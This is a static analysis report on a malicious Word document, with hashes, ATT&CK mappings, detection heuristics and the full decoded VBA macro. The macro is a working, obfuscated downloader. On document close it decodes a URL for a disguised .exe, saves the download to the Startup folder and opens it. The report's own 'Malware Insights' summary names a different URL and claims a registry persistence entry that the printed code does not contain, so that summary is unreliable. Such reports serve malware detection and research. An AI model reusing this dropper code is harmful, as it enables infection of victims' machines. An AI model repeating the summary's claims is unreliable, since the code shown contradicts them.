Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d3c610e6dae52fa6…

MALICIOUS

Office (OLE)

33.5 KB Created: 2018-04-20 11:24:00 Authoring application: Microsoft Office Word First seen: 2018-06-30
MD5: 3bbd9a815e218c36fb222e0722a1b4a6 SHA-1: efa2c38e700ecd7c7af7b5bc3c60f59eefb0af14 SHA-256: d3c610e6dae52fa6195ab01a9c44b3a2bde724a73d794f132d7b57fba4a04a4f
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter

The VBA macro explicitly uses WScript.Shell and CreateObject to download a file from a constructed URL and save it to disk. The reconstructed URL is 'http://evil.tld/StateofAccouts.doc.exe', and the script also attempts to create a persistence entry at 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'. This indicates a downloader functionality designed to fetch and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.00536d-6923444-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6923444-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    VCCKMNJVDZRIJTIKRWHNHBOZYMEMFHUHNKSRDOZWUZIQBUYLIXXOYBFZPUUTWILOEKKSTVRELIZQRCQSZXPVJJWBHUFUGPCP = CreateObject("WScript.Shell").Specialfolders(7) + DJDCYIGRJPRQVEFPQUHXMTKNWBVLJJILEZESGYHJKGSHWOMHQMHOTLLEXLWDKBJCERLKHQOZLXZXEGNXYDIGUC
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    JEYGLDDWWKOUISITDJDCYIGRJPRQVEFPQUHXMTKNWBVLJJILEZESGYHJKGSHWOMHQMHOTLLEXLWDKBJCERLKHQOZLXZXEGNX = ERLKHQOZLXZXEGNXYDIGUCLVFCWNRRQTMIMBHHPRSOBIFWNOYNPWCMTMGTFESJRKMZMSPYWITFCZFOVGZF.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set JOGGYSGRXFVEWYMGFCLJUGRUSYBISTXDZPWGQZWRHMMLOGDHVCCKMNJVDZRIJTIKRWHNHBOZYMEMFHUHNKSRDOZWUZIQ = CreateObject("Shell.Application")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4764 bytes
SHA-256: 60665d38d5cd132171dd07ab71361b5475c14a1f525c120cce0e2d55744e99b1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_close()
Set JOGGYSGRXFVEWYMGFCLJUGRUSYBISTXDZPWGQZWRHMMLOGDHVCCKMNJVDZRIJTIKRWHNHBOZYMEMFHUHNKSRDOZWUZIQ = CreateObject("Shell.Application")
Set ERLKHQOZLXZXEGNXYDIGUCLVFCWNRRQTMIMBHHPRSOBIFWNOYNPWCMTMGTFESJRKMZMSPYWITFCZFOVGZF = CreateObject("microsoft.xmlhttp")
Set ZBWJQNFVWHVXFDUBOOCGMZKZLUIUBXGXJCHKINVEHIMYVKLCFOSNDBBBDVYCKXXGBCXKYONEYJEYGLDDWWKOUISIT = CreateObject("adodb.stream")
DJDCYIGRJPRQVEFPQUHXMTKNWBVLJJILEZESGYHJKGSHWOMHQMHOTLLEXLWDKBJCERLKHQOZLXZXEGNXYDIGUC = YONEYJEYGLDDWWKOUISITDJDCYIGRJPRQVEFPQUHXMTKNWBVLJJILEZESGYHJKGSHWOMHQMHOTLLEXLWDK("]XIDMID/fyf")
YDIGUCLVFCWNRRQTMIMBHHPRSOBIFWNOYNPWCMTMGTFESJRKMZMSPYWITFCZFOVGZFQNDDTEGKFUZZYCNQUJPPX = YONEYJEYGLDDWWKOUISITDJDCYIGRJPRQVEFPQUHXMTKNWBVLJJILEZESGYHJKGSHWOMHQMHOTLLEXLWDK("iuuq;00bmcbesqpxfs/dpn0Tubufnfou!pg!Bddpvout/epd/fyf")

VCCKMNJVDZRIJTIKRWHNHBOZYMEMFHUHNKSRDOZWUZIQBUYLIXXOYBFZPUUTWILOEKKSTVRELIZQRCQSZXPVJJWBHUFUGPCP = CreateObject("WScript.Shell").Specialfolders(7) + DJDCYIGRJPRQVEFPQUHXMTKNWBVLJJILEZESGYHJKGSHWOMHQMHOTLLEXLWDKBJCERLKHQOZLXZXEGNXYDIGUC
ERLKHQOZLXZXEGNXYDIGUCLVFCWNRRQTMIMBHHPRSOBIFWNOYNPWCMTMGTFESJRKMZMSPYWITFCZFOVGZF.Open "GET", YDIGUCLVFCWNRRQTMIMBHHPRSOBIFWNOYNPWCMTMGTFESJRKMZMSPYWITFCZFOVGZFQNDDTEGKFUZZYCNQUJPPX, False
ERLKHQOZLXZXEGNXYDIGUCLVFCWNRRQTMIMBHHPRSOBIFWNOYNPWCMTMGTFESJRKMZMSPYWITFCZFOVGZF.send
JEYGLDDWWKOUISITDJDCYIGRJPRQVEFPQUHXMTKNWBVLJJILEZESGYHJKGSHWOMHQMHOTLLEXLWDKBJCERLKHQOZLXZXEGNX = ERLKHQOZLXZXEGNXYDIGUCLVFCWNRRQTMIMBHHPRSOBIFWNOYNPWCMTMGTFESJRKMZMSPYWITFCZFOVGZF.responseBody
If ERLKHQOZLXZXEGNXYDIGUCLVFCWNRRQTMIMBHHPRSOBIFWNOYNPWCMTMGTFESJRKMZMSPYWITFCZFOVGZF.Status = 200 Then
ZBWJQNFVWHVXFDUBOOCGMZKZLUIUBXGXJCHKINVEHIMYVKLCFOSNDBBBDVYCKXXGBCXKYONEYJEYGLDDWWKOUISIT.Open
ZBWJQNFVWHVXFDUBOOCGMZKZLUIUBXGXJCHKINVEHIMYVKLCFOSNDBBBDVYCKXXGBCXKYONEYJEYGLDDWWKOUISIT.Type = 1
ZBWJQNFVWHVXFDUBOOCGMZKZLUIUBXGXJCHKINVEHIMYVKLCFOSNDBBBDVYCKXXGBCXKYONEYJEYGLDDWWKOUISIT.Write JEYGLDDWWKOUISITDJDCYIGRJPRQVEFPQUHXMTKNWBVLJJILEZESGYHJKGSHWOMHQMHOTLLEXLWDKBJCERLKHQOZLXZXEGNX
ZBWJQNFVWHVXFDUBOOCGMZKZLUIUBXGXJCHKINVEHIMYVKLCFOSNDBBBDVYCKXXGBCXKYONEYJEYGLDDWWKOUISIT.SaveToFile VCCKMNJVDZRIJTIKRWHNHBOZYMEMFHUHNKSRDOZWUZIQBUYLIXXOYBFZPUUTWILOEKKSTVRELIZQRCQSZXPVJJWBHUFUGPCP, 2
ZBWJQNFVWHVXFDUBOOCGMZKZLUIUBXGXJCHKINVEHIMYVKLCFOSNDBBBDVYCKXXGBCXKYONEYJEYGLDDWWKOUISIT.Close
End If
JOGGYSGRXFVEWYMGFCLJUGRUSYBISTXDZPWGQZWRHMMLOGDHVCCKMNJVDZRIJTIKRWHNHBOZYMEMFHUHNKSRDOZWUZIQ.Open (VCCKMNJVDZRIJTIKRWHNHBOZYMEMFHUHNKSRDOZWUZIQBUYLIXXOYBFZPUUTWILOEKKSTVRELIZQRCQSZXPVJJWBHUFUGPCP)


End Sub

Function YONEYJEYGLDDWWKOUISITDJDCYIGRJPRQVEFPQUHXMTKNWBVLJJILEZESGYHJKGSHWOMHQMHOTLLEXLWDK(BJCERLKHQOZLXZXEGNXYDIGUCLVFCWNRRQTMIMBHHPRSOBIFWNOYNPWCMTMGTFESJRKMZMSPYWITFCZFOVGZFQND)
EZESGYHJKGSHWOMHQMHOTLLEXLWDKBJCERLKHQOZLXZXEGNXYDIGUCLVFCWNRRQTMIMBHHPRSOBIFWNOYNPWCMTMGT = 10 - 9
        VSBSEVCEDIQXCDHTQFGWZJNIXVVUXQTWFSSBVWSFTJIYTDYTBGXXQRFJPDNDOXEXWTDBMEKMKQYZKLPCS = ""
    For HOFIRVQGEEDGYUYNBTCEFBNCRJHCLHCJOGGYSGRXFVEWYMGFCLJUGRUSYBISTXDZPWGQZWRHMMLOGDHVCCKMNJVDZR = EZESGYHJKGSHWOMHQMHOTLLEXLWDKBJCERLKHQOZLXZXEGNXYDIGUCLVFCWNRRQTMIMBHHPRSOBIFWNOYNPWCMTMGT To Len(BJCERLKHQOZLXZXEGNXYDIGUCLVFCWNRRQTMIMBHHPRSOBIFWNOYNPWCMTMGTFESJRKMZMSPYWITFCZFOVGZFQND)
        SEVCEDIQXCDHTQFGWZJNIXVVUXQTWFSSBVWSFTJIYTDYTGLDDWWKOUISITDJDCYIGRJPRQVEFPQUHXMTKNWBVLJJIL = Asc(Mid(BJCERLKHQOZLXZXEGNXYDIGUCLVFCWNRRQTMIMBHHPRSOBIFWNOYNPWCMTMGTFESJRKMZMSPYWITFCZFOVGZFQND, HOFIRVQGEEDGYUYNBTCEFBNCRJHCLHCJOGGYSGRXFVEWYMGFCLJUGRUSYBISTXDZPWGQZWRHMMLOGDHVCCKMNJVDZR, EZESGYHJKGSHWOMHQMHOTLLEXLWDKBJCERLKHQOZLXZXEGNXYDIGUCLVFCWNRRQTMIMBHHPRSOBIFWNOYNPWCMTMGT))

            IJTIKRWHNHBOZYMEMFHUHNKSRDOZWUZIQBUYLIXXOYBFZPUUTWILOEKKSTVRELIZQRCQSZXPVJJWBHUFUGPCPVSB = SEVCEDIQXCDHTQFGWZJNIXVVUXQTWFSSBVWSFTJIYTDYTGLDDWWKOUISITDJDCYIGRJPRQVEFPQUHXMTKNWBVLJJIL - EZESGYHJKGSHWOMHQMHOTLLEXLWDKBJCERLKHQOZLXZXEGNXYDIGUCLVFCWNRRQTMIMBHHPRSOBIFWNOYNPWCMTMGT
        VSBSEVCEDIQXCDHTQFGWZJNIXVVUXQTWFSSBVWSFTJIYTDYTBGXXQRFJPDNDOXEXWTDBMEKMKQYZKLPCS = VSBSEVCEDIQXCDHTQFGWZJNIXVVUXQTWFSSBVWSFTJIYTDYTBGXXQRFJPDNDOXEXWTDBMEKMKQYZKLPCS & Chr(IJTIKRWHNHBOZYMEMFHUHNKSRDOZWUZIQBUYLIXXOYBFZPUUTWILOEKKSTVRELIZQRCQSZXPVJJWBHUFUGPCPVSB)
    Next
    YONEYJEYGLDDWWKOUISITDJDCYIGRJPRQVEFPQUHXMTKNWBVLJJILEZESGYHJKGSHWOMHQMHOTLLEXLWDK = VSBSEVCEDIQXCDHTQFGWZJNIXVVUXQTWFSSBVWSFTJIYTDYTBGXXQRFJPDNDOXEXWTDBMEKMKQYZKLPCS
End Function

Attribute VB_Name = "NewMacros"
Sub newdoc()
'
' newdoc Macro
'
'

End Sub

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